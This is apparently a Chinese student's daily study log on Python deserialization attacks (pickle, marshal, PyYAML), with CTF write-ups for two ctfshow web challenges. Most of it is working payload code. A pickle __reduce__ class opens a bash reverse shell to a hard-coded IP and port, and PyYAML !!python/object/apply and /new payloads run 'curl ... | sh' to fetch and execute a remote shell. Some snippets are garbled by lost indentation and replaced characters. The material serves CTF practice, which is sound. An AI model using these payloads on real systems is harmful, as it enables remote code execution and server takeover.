Jay17 2023.8.10日报

笔记

【python反序列化】

序列化
类对象->字节流（字符串）

反序列化
字节流->对象

python反序列化没PHP这么灵活，没这么多魔术方法。

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import pickle
import os

class ctfshow():
def init(self):
self.username=0
self.password=0

def login(self,username,password):
	return username=="admin" and password=="123456"

c=ctfshow()

data=c.login(“admin”,“123456”) #返回True

print(data)

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import pickle
import os
import base64

class ctfshow():
def init(self):
self.username=0
self.password=0

def login(self,username,password):
	return username=="admin" and password=="123456"
	
#相当于PHP里面的__wakeup()
#返回值，第一个元素是 回调函数，第二个元素是回调函数的参数。
#第二个元素是一个元组，包含两个及以上元素。
def __reduce__(self):
	print("reduce")
	
	return os.system,('bash -i >& /dev/tcp/120.46.41.173/9023 0>&1',)

​
​
c=ctfshow()

#序列化，生成字节流。这种方式，直接CV容易丢失不可见字符。
#serialize = pickle.dumps©
#输出base64编码后的paylaod，可以CV。
#print(base64.b64encode(serialize))
#反序列化，执行命令
#pickle.loads(serialize)

#写入文件
with open(“ctfshow.ser”,“wb”) as f:
pickle.dump(c,f)
with open(“ctfshow.ser”,“rb”) as f:
pickle.load(f)

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注意点：
向服务端传入payload，如果出现报错如【ModuleNotFoundError: No module named ‘nt’】
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。

服务端如果是linux，我们的序列化字符串（payload） 也得在linux操作系统里面生成。

python序列化常用的模板： //例题93
1 pickle
2 json

【特征：】
竟然不需要 恶意类

反序列化字符串里面包含类的所有定义，包括类的方法
php反序列化时，只能控制类的属性，利用现有的魔术方法做跳板
python反序列化时，直接可以不需要恶意类，也不需要现有的魔术方法，直接产生类的定义并执行__reduce__方法

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Marshal 反序列化
pickle 类无法序列化 code类，为了弥补这个问题，2.6以后增加了marshal模块来处理

模板：
import base64
import pickle
import marshal

def foo():
import os
os.system(‘whoami;/bin/sh’) # evil code

shell = “”“ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S’%s’
tRtRc__builtin__
globals
(tRS’’
tR(tR.”“” % base64.b64encode(marshal.dumps(foo.func_code))

print(pickle.loads(shell))

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PyYAML 反序列化 //例题94
!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

payload：
data=!!python/object/apply:os.system [“curl https://your-shell.com/43.154.107.226:3389 |sh”]

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题解wp

web93

题目要求我们在/unserialize路由POST提交一个参数data，data经过base64编码。

不知道题目的考点，先传参data=MQ==看看报错。MQ==是1的base64编码。

发现了关键代码，pickle反序列化。pytohn版本是3.8

#base64解码传进来的值，并且赋值给data
data = base64.b64decode(request.form['data'])
#反序列化data数据
pickle.loads(data)
#返回反序列化结束提示
return "unserialize done "+request.form['data']

生成payload的脚本：

import pickle
import os
import base64

class ctfshow():
	def __init__(self):
		self.username=0
		self.password=0
		
	#相当于PHP里面的__wakeup()
	#返回值，第一个元素是 回调函数，第二个元素是回调函数的参数。
	#第二个元素是一个元组，包含两个及以上元素。
	def __reduce__(self):
		print("reduce")
		
		#弹shell
		return (os.system,('curl https://your-shell.com/vps-ip:port | sh',))
	
c=ctfshow()

#序列化，生成字节流。这种方式，直接CV容易丢失不可见字符。
serialize = pickle.dumps(c)
#输出base64编码后的paylaod，可以CV。
print(base64.b64encode(serialize))

#反序列化，执行命令
#pickle.loads(serialize)

#写入文件
#with open("ctfshow.ser","wb") as f:
#	pickle.dump(c,f)
#with open("ctfshow.ser","rb") as f:
#	pickle.load(f)

注意点：

向服务端传入payload，如果出现报错如**【ModuleNotFoundError: No module named ‘nt’】**
遇到这种情况是因为自己的操作系统和服务器的操作系统不一致。
服务端如果是linux，我们的序列化字符串（payload） 也得在linux操作系统里面生成。

同时，python版本也需要一致。

KALI是linux，在KALI里面生成payload。

那就又来了一个注意点：

一开始一直报错：

partially initialized module 'pickle' has no attribute 'dumps' (most likely due to a circular import)

尝试过重装pickle库、重装pip，都没用。后来发现是文件名和pickle库的名字重了，文件名不能是pickle.py。

经过尝试，服务端应该是把nc和bash两个命令给ban了，只能用平台来弹shell。

web94

题目明显提示是python中的PyYAML 反序列化。

PyYAML 反序列化利用方面，危险标签有三种。

!!python/object 标签
!!python/object/new 标签
!!python/object/apply 标签

这次还是选择使用平台来反弹shell，估计还是把nc和bash两个命令给ban了。

经过尝试，能用的危险标签是!!python/object/new和!!python/object/apply

payload：

data=!!python/object/new:os.system ["curl https://your-shell.com/vps-ip:port |sh"]

data=!!python/object/apply:os.system ["curl https://your-shell.com/vps-ip:port |sh"]

直接拿flag了。